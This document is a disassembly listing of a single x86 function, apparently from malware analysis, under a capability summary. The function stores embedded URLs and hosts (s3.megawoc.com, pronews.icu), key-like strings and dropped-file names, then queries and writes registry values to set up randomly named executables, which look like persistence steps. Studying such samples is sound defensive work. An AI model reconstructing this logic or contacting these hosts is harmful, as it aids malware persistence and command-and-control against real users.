Function at 0x1315bfd0
Capabilities:
Check for time delay via gettickcount
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x528
mov eax, dword [0x131e90f0]
xor eax, esp
mov dword [esp + 0x524], eax
push esi
push edi
mov eax, dword [0x131db23c]
mov dword [0x13c26570], eax
movzx eax, word [0x131db240]
movq xmm0, qword [str.s3.megawoc.com]
mov word [0x13c26574], ax
movzx eax, byte [0x131db242]
mov byte [0x13c26576], al
mov al, byte [0x131db260]
mov byte [0x13c2617c], al
mov byte [0x13c25ddc], al
movzx eax, word [0x131db27c]
mov word [0x131fe210], ax
movzx eax, byte [0x131db27e]
mov byte [0x131fe212], al
mov eax, dword [str.7893]
mov dword [0x13bfd944], eax
movzx eax, byte [0x131db284]
mov byte [0x13bfd948], al
mov eax, 0x30
movq qword [0x13c26568], xmm0
movq xmm0, qword [0x131db254]
movups xmm1, xmmword [str.http:__pronews.icu_Hayauaia_]
mov word [0x13c26aa8], ax
mov word [0x131fcaa4], ax
mov eax, dword [str.fr32fdf]
mov ecx, dword [0x131db25c]
movq qword [0x13c26170], xmm0
movq qword [0x13c25dd0], xmm0
movups xmm0, xmmword [str.http:__localhost:9991_KBL_]
mov dword [0x131fc6a8], eax
mov eax, dword [0x131db28c]
mov dword [0x131fc6ac], eax
mov eax, dword [0x131db298]
movups xmmword [0x131fe1f8], xmm0
mov dword [0x13c25708], eax
movq xmm0, qword [0x131db274]
movzx eax, byte [0x131db29c]
movq qword [0x131fe208], xmm0
movq xmm0, qword [str.Ji8282fhjhjs]
mov byte [0x13c2570c], al
movzx eax, word [0x131db2a8]
movq qword [0x13c25700], xmm0
movq xmm0, qword [str.VBVduuurw]
mov word [0x131fb658], ax
movzx eax, word [0x131db2b4]
movq qword [0x131fb650], xmm0
movq xmm0, qword [str.ER833jFHDJ]
mov word [0x13c24e70], ax
movzx eax, byte [0x131db2b6]
movq qword [0x13c24e68], xmm0
movq xmm0, qword [str.NVhfhSJDU3]
mov byte [0x13c24e72], al
movzx eax, word [0x131db2c0]
movq qword [0x13c260f8], xmm0
movq xmm0, qword [str.833JFJFDJDj]
mov word [0x13c26100], ax
movzx eax, byte [0x131db2c2]
mov edi, 0x31
movq qword [0x131fb8c8], xmm0
movq xmm0, qword [str.fdgfg3332]
mov byte [0x13c26102], al
mov eax, dword [0x131db2cc]
movups xmmword [0x13c26160], xmm1
mov dword [0x13c26178], ecx
movups xmmword [0x13c25dc0], xmm1
mov dword [0x13c25dd8], ecx
mov byte [0x131eec62], 0
mov byte [0x131eec9b], 0
mov byte [0x131fc106], 1
mov word [0x13c25ef0], di
mov word [0x131fe8c0], di
mov word [0x13c26aa0], di
mov word [0x13c25ca4], di
mov word [0x131eec5c], di
mov word [0x131fe93c], di
mov dword [0x131fc710], 0x303231
mov dword [0x131fe8d8], 0x322e35
mov dword [0x131fb8d0], eax
movq qword [0x13c25c40], xmm0
movzx eax, word [0x131db2d8]
lea ecx, [edi - 0x2e]
movq xmm0, qword [str.cvcvcxffddfsf]
mov word [0x13c25c48], ax
mov eax, dword [0x131db2e4]
mov dword [0x13c25778], eax
movzx eax, word [0x131db2e8]
mov word [0x13c2577c], ax
movzx eax, word [0x131db2f4]
mov word [0x131fd650], ax
movzx eax, byte [0x131db2f6]
mov byte [0x131fd652], al
movzx eax, word [0x131db300]
mov word [0x13c25be0], ax
movzx eax, byte [0x131db302]
movq qword [0x13c25770], xmm0
movq xmm0, qword [str.fdgd4333ff]
mov byte [0x13c25be2], al
movzx eax, word [0x131db30c]
movq qword [0x131fd648], xmm0
movq xmm0, qword [str.vcvcvffere]
mov word [0x131fc7e0], ax
movzx eax, word [0x131db318]
movq qword [0x13c25bd8], xmm0
movq xmm0, qword [str.fg3r33333]
mov word [0x131fe470], ax
movzx eax, byte [0x131db31a]
movq qword [0x131fc7d8], xmm0
movq xmm0, qword [str.vccvvcxvcx]
mov byte [0x131fe472], al
mov eax, dword [0x131db324]
movq qword [0x131fe468], xmm0
movq xmm0, qword [str.df333dfdsfdsf]
mov dword [0x131eeea8], eax
movzx eax, word [0x131db328]
movq qword [0x131eeea0], xmm0
movq xmm0, qword [str.vdfsdfsfsfs]
mov word [0x131eeeac], ax
mov eax, dword [0x131db334]
movq qword [0x131fc108], xmm0
mov dword [0x131fc110], eax
call fcn.13146620
mov esi, 0x13c26838
sub esi, eax
mov dl, byte [eax]
lea eax, [eax + 1]
mov byte [esi + eax - 1], dl
test dl, dl
jne 0x1315c312
mov ecx, 3
call fcn.13146620
mov edx, 0x131fc238
sub edx, eax
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
test cl, cl
jne 0x1315c330
cmp byte [0x131eec62], cl
jne 0x1315c394
cmp byte [0x131fc106], 1
mov eax, 0x30
mov word [0x13c2655c], ax
jne 0x1315c376
xor ecx, ecx
call fcn.13146620
mov edx, 0x131fb930
sub edx, eax
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
test cl, cl
jne 0x1315c367
jmp 0x1315c3e2
movq xmm0, qword [str.CDASF.exe]
mov ax, word [0x131db340]
movq qword [0x131fb930], xmm0
mov word [0x131fb938], ax
jmp 0x1315c3e2
cmp byte [0x131fc106], 1
jne 0x1315c3bf
mov ecx, 1
call fcn.13146620
mov edx, 0x131fb930
sub edx, eax
nop
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
test cl, cl
jne 0x1315c3b0
jmp 0x1315c3db
movq xmm0, qword [str.CDASF.cpl]
mov ax, word [0x131db34c]
movq qword [0x131fb930], xmm0
mov word [0x131fb938], ax
mov word [0x13c2655c], di
movzx eax, word [0x131db358]
movq xmm0, qword [str.NOV20_TUN]
mov word [0x131ef170], ax
mov eax, dword [str.VFSAAD]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov dword [0x131fd428], eax
movzx eax, word [0x131db360]
mov word [0x131fd42c], ax
movzx eax, byte [0x131db362]
mov byte [0x131fd42e], al
mov eax, dword [str.DRT3]
mov dword [0x13c25cb0], eax
movzx eax, byte [0x131db368]
mov byte [0x13c25cb4], al
mov eax, dword [str.skp.dat]
mov dword [0x131fb580], eax
mov eax, dword [0x131db370]
mov dword [0x131fb584], eax
lea eax, [esp + 0x14]
push eax
movq qword [0x131ef168], xmm0
xorps xmm0, xmm0
push str.Software
push closesocket
mov dword [0x13c26630], 0x52504f
movaps xmmword [esp + 0x2c], xmm0
mov dword [esp + 0x3c], 0
mov dword [esp + 0x1c], 0x200
call esi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x1315c496
mov ecx, 0x131da42a
jmp 0x1315c4c3
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x12c]
push eax
push 0
push 0
push 0x13c25bd8
push dword [esp + 0x28]
call edi
test eax, eax
lea ecx, [esp + 0x128]
mov eax, 0x131da42a
cmovne ecx, eax
lea edx, [esp + 0x20]
sub edx, ecx
nop dword [eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [ecx + edx - 1], al
test al, al
jne 0x1315c4d0
lea ecx, [esp + 0x20]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1315c4e4
sub ecx, edx
cmp ecx, 3
jae 0x1315c588
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.131a41a9
add esp, 4
call fcn.131a4188
cdq
mov ecx, 0xf4240
idiv ecx
lea eax, [esp + 0x44]
add edx, 0x64
push edx
push 0x131da720
push eax
call fcn.13141a40
add esp, 0xc
lea eax, [esp + 0x10]
push 0
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.Software
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea ecx, [esp + 0x44]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1315c553
sub ecx, edx
lea eax, [ecx + 1]
push eax
lea eax, [esp + 0x48]
push eax
push 1
push 0
push 0x13c25bd8
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x44]
jmp 0x1315c58c
lea ecx, [esp + 0x20]
mov edx, 0x13c24ed0
sub edx, ecx
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x1315c593
lea eax, [esp + 0x10]
mov dword [esp + 0x30], 0
push eax
push str.Software
xorps xmm0, xmm0
mov dword [esp + 0x1c], 0x200
push closesocket
movaps xmmword [esp + 0x2c], xmm0
call esi
test eax, eax
je 0x1315c5d4
mov ecx, 0x131da42a
jmp 0x1315c601
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x12c]
push eax
push 0
push 0
push 0x131fc108
push dword [esp + 0x24]
call edi
test eax, eax
lea ecx, [esp + 0x128]
mov eax, 0x131da42a
cmovne ecx, eax
lea edx, [esp + 0x20]
sub edx, ecx
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [ecx + edx - 1], al
test al, al
jne 0x1315c607
lea ecx, [esp + 0x20]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1315c620
sub ecx, edx
cmp ecx, 3
jae 0x1315c6d5
push 0
call fcn.131a8289
add esp, 4
mov dword [esp + 0x18], eax
lea eax, [esp + 0x18]
mov dword [esp + 0x1c], edx
push eax
call fcn.131a8555
add esp, 4
mov ecx, dword [eax + 0x14]
add ecx, 0x76c
push ecx
mov ecx, dword [eax + 0x10]
inc ecx
push ecx
push dword [eax + 0xc]
lea eax, [esp + 0x64]
push str._d__d__d
push eax
call fcn.13141a40
add esp, 0x14
lea eax, [esp + 0x10]
push 0
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.Software
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea ecx, [esp + 0x58]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1315c6a0
sub ecx, edx
lea eax, [ecx + 1]
push eax
lea eax, [esp + 0x5c]
push eax
push 1
push 0
push 0x131fc108
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x58]
jmp 0x1315c6d9
lea ecx, [esp + 0x20]
mov edx, 0x13c26490
sub edx, ecx
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x1315c6e0
mov eax, dword [str.Cdds]
mov dword [0x131fe3f8], eax
movzx eax, byte [0x131db378]
mov byte [0x131fe3fc], al
mov eax, dword [str.fdce]
mov dword [0x131fca40], eax
movzx eax, byte [0x131db380]
mov byte [0x131fca44], al
mov eax, dword [str.Vfsee]
mov dword [0x13c25618], eax
movzx eax, word [0x131db388]
mov word [0x13c2561c], ax
mov eax, dword [str.DSfffd]
mov dword [0x131fdd20], eax
movzx eax, word [0x131db390]
mov word [0x131fdd24], ax
movzx eax, byte [0x131db392]
mov byte [0x131fdd26], al
mov eax, dword [str.FM.DAT]
mov dword [0x131fba08], eax
movzx eax, word [0x131db398]
mov word [0x131fba0c], ax
movzx eax, byte [0x131db39a]
mov byte [0x131fba0e], al
mov eax, dword [str.dfd333]
mov dword [0x13c25680], eax
movzx eax, word [0x131db3a0]
mov word [0x13c25684], ax
movzx eax, byte [0x131db3a2]
mov byte [0x13c25686], al
mov eax, dword [str.fdvvggg]
mov dword [0x131fd6b8], eax
mov eax, dword [0x131db3a8]
mov dword [0x131fd6bc], eax
call fcn.13145e00
mov edx, 0x13c27540
sub edx, eax
nop dword [eax]
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
test cl, cl
jne 0x1315c7c0
xor ecx, ecx
nop
mov al, byte [ecx + 0x13c27540]
lea ecx, [ecx + 1]
mov byte [ecx + 0x13c25417], al
test al, al
jne 0x1315c7d0
movzx eax, byte [0x131db3b4]
movq xmm0, qword [str.AFDB.DAT]
mov byte [0x131ef108], al
mov eax, dword [str.jvma]
mov dword [0x13c25018], eax
movzx eax, byte [0x131db3bc]
mov byte [0x13c2501c], al
mov eax, dword [str.pthma]
push 0x13c25770
mov dword [0x131fd720], eax
mov ax, word [0x131db3c4]
push str.Software_s
push 0x13bfd748
movq qword [0x131ef100], xmm0
mov word [0x131fd724], ax
call fcn.13141a40
add esp, 0xc
push 0x131fd648
push str.Software_s
push 0x131eef08
call fcn.13141a40
add esp, 0xc
push 0x13c26838
push 0x13c27540
push str._s_s_
push 0x13c26ab8
call fcn.13141a40
push 0x13c26838
push 0x13c27540
push 0x131da70c
push 0x13c257d8
call fcn.13141a40
push str.audp
push 0x13c27540
push str._s_s_
push 0x13bfd968
call fcn.13141a40
push 0x13c26ab8
push str._sdec.dll
push 0x131fbed0
call fcn.13141a40
add esp, 0x3c
push 0x13c26ab8
push str._sdep.dll
push 0x131fdb20
call fcn.13141a40
add esp, 0xc
mov dword [esp + 0x30], 0
lea eax, [esp + 0x18]
mov dword [esp + 0x14], 0x200
xorps xmm0, xmm0
movaps xmmword [esp + 0x20], xmm0
push eax
push 0x13bfd748
push closesocket
call esi
test eax, eax
je 0x1315c906
mov ecx, 0x131da42a
jmp 0x1315c933
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x12c]
push eax
push 0
push 0
push str.rno1
push dword [esp + 0x2c]
call edi
test eax, eax
lea ecx, [esp + 0x128]
mov eax, 0x131da42a
cmovne ecx, eax
lea edx, [esp + 0x20]
sub edx, ecx
nop dword [eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [ecx + edx - 1], al
test al, al
jne 0x1315c940
lea ecx, [esp + 0x20]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1315c954
sub ecx, edx
cmp ecx, 3
jae 0x1315c9f8
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.131a41a9
add esp, 4
call fcn.131a4188
cdq
mov ecx, 0xf4240
idiv ecx
lea eax, [esp + 0x44]
add edx, 0x64
push edx
push str._d.exe
push eax
call fcn.13141a40
add esp, 0xc
lea eax, [esp + 0x10]
push 0
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push 0x13bfd748
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea ecx, [esp + 0x44]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1315c9c3
sub ecx, edx
lea eax, [ecx + 1]
push eax
lea eax, [esp + 0x48]
push eax
push 1
push 0
push str.rno1
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0x44]
jmp 0x1315c9fc
lea eax, [esp + 0x20]
push eax
push 0x13c26ab8
push str._s_acp.exe
push 0x131fc840
call fcn.13141a40
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x10
push 0xa
call esi
lea eax, [esp + 0x14]
mov dword [esp + 0x30], 0
push eax
push 0x13bfd748
xorps xmm0, xmm0
mov dword [esp + 0x20], 0x200
push closesocket
movaps xmmword [esp + 0x2c], xmm0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x1315ca56
mov ecx, 0x131da42a
jmp 0x1315ca83
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x12c]
push eax
push 0
push 0
push 0x131da7a0
push dword [esp + 0x28]
call edi
test eax, eax
lea ecx, [esp + 0x128]
mov eax, 0x131da42a
cmovne ecx, eax
lea edx, [esp + 0x20]
sub edx, ecx
nop dword [eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [ecx + edx - 1], al
test al, al
jne 0x1315ca90
lea ecx, [esp + 0x20]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1315caa4
sub ecx, edx
cmp ecx, 3
jae 0x1315cb48
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.131a41a9
add esp, 4
call fcn.131a4188
cdq
mov ecx, 0xf4240
idiv ecx
lea eax, [esp + 0x44]
add edx, 0x64
push edx
push str._d.exe
push eax
call fcn.13141a40
add esp, 0xc
lea eax, [esp + 0x10]
push 0
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push 0x13bfd748
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea ecx, [esp + 0x44]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1315cb13
sub ecx, edx
lea eax, [ecx + 1]
push eax
lea eax, [esp + 0x48]
push eax
push 1
push 0
push 0x131da7a0
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x44]
jmp 0x1315cb4c
lea ecx, [esp + 0x20]
mov edx, 0x13c24fa0
sub edx, ecx
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x1315cb53
push 0x13c24fa0
push 0x13c26ab8
push 0x131da70c
push 0x13bfd338
call fcn.13141a40
push 0x13c26ab8
push str._sdb.dat
push 0x131fd920
call fcn.13141a40
add esp, 0x1c
push 0xa
call esi
call fcn.13146be0
mov edx, 0x131fdf90
sub edx, eax
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
test cl, cl
jne 0x1315cba0
push 0x131fdf90
push 0x13c26ab8
push 0x131da70c
push 0x131fdd88
call fcn.13141a40
add esp, 0x10
call fcn.13146be0
mov edx, 0x131fdf90
sub edx, eax
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
test cl, cl
jne 0x1315cbd5
push 0x131fdf90
push 0x13c26ab8
push 0x131da70c
push 0x131fdd88
call fcn.13141a40
add esp, 0x10
push 0x32
call esi
lea eax, [esp + 0x14]
mov dword [esp + 0x30], 0
push eax
push 0x13bfd748
xorps xmm0, xmm0
mov dword [esp + 0x20], 0x200
push closesocket
movaps xmmword [esp + 0x2c], xmm0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x1315cc3a
mov ecx, 0x131da42a
jmp 0x1315cc67
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x12c]
push eax
push 0
push 0
push str.AMMY132
push dword [esp + 0x28]
call edi
test eax, eax
lea ecx, [esp + 0x128]
mov eax, 0x131da42a
cmovne ecx, eax
lea edx, [esp + 0x20]
sub edx, ecx
nop dword [eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [ecx + edx - 1], al
test al, al
jne 0x1315cc70
lea ecx, [esp + 0x20]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1315cc84
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
sub ecx, edx
cmp ecx, 3
jae 0x1315cd2d
call esi
add eax, 0x20
push eax
call fcn.131a41a9
add esp, 4
call fcn.131a4188
cdq
mov edi, 0xf4240
idiv edi
lea eax, [esp + 0x44]
add edx, 0x64
push edx
push str._d.exe
push eax
call fcn.13141a40
add esp, 0xc
lea eax, [esp + 0x10]
push 0
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push 0x13bfd748
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea ecx, [esp + 0x44]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1315ccf8
sub ecx, edx
lea eax, [ecx + 1]
push eax
lea eax, [esp + 0x48]
push eax
push 1
push 0
push str.AMMY132
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x44]
jmp 0x1315cd36
lea ecx, [esp + 0x20]
mov edi, 0xf4240
mov edx, 0x131fb5e8
sub edx, ecx
nop dword [eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x1315cd40
push 0x131fb5e8
push 0x13c26ab8
push 0x131da70c
push 0x131fbc08
call fcn.13141a40
push 0x13c27540
push 0x131db414
push 0x13c27340
call fcn.13141a40
add esp, 0x1c
push 0x13c26630
push 0x13c27540
push str._s_s_
push 0x131eeca0
call fcn.13141a40
add esp, 0x10
lea eax, [esp + 0x328]
push 0x200
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [esp + 0x328]
push eax
push str._scontrol.exe
push 0x131fdff8
call fcn.13141a40
add esp, 0xc
call esi
push eax
call fcn.131a41a9
add esp, 4
call fcn.131a4188
cdq
idiv edi
lea eax, [esp + 0xc0]
add edx, 0x64
push edx
push 0x131da720
push eax
call fcn.13141a40
add esp, 0xc
mov ecx, str._s_s.cpl
cmp byte [0x131eec62], 0
mov eax, str._s_s.exe
cmovne eax, ecx
lea ecx, [esp + 0xc0]
push ecx
push 0x13c27540
push eax
push 0x13c26ed0
call fcn.13141a40
push 0x131fc238
push 0x131fb930
mov eax, 0x31
push 0x13c26ab8
mov word [0x131fe670], ax
mov eax, 0x30
push str._s__s__s_
push 0x13c268a0
mov word [0x13bfd548], ax
call fcn.13141a40
mov ecx, dword [esp + 0x550]
add esp, 0x24
pop edi
pop esi
xor ecx, esp
call fcn.13198da3
mov esp, ebp
pop ebp
ret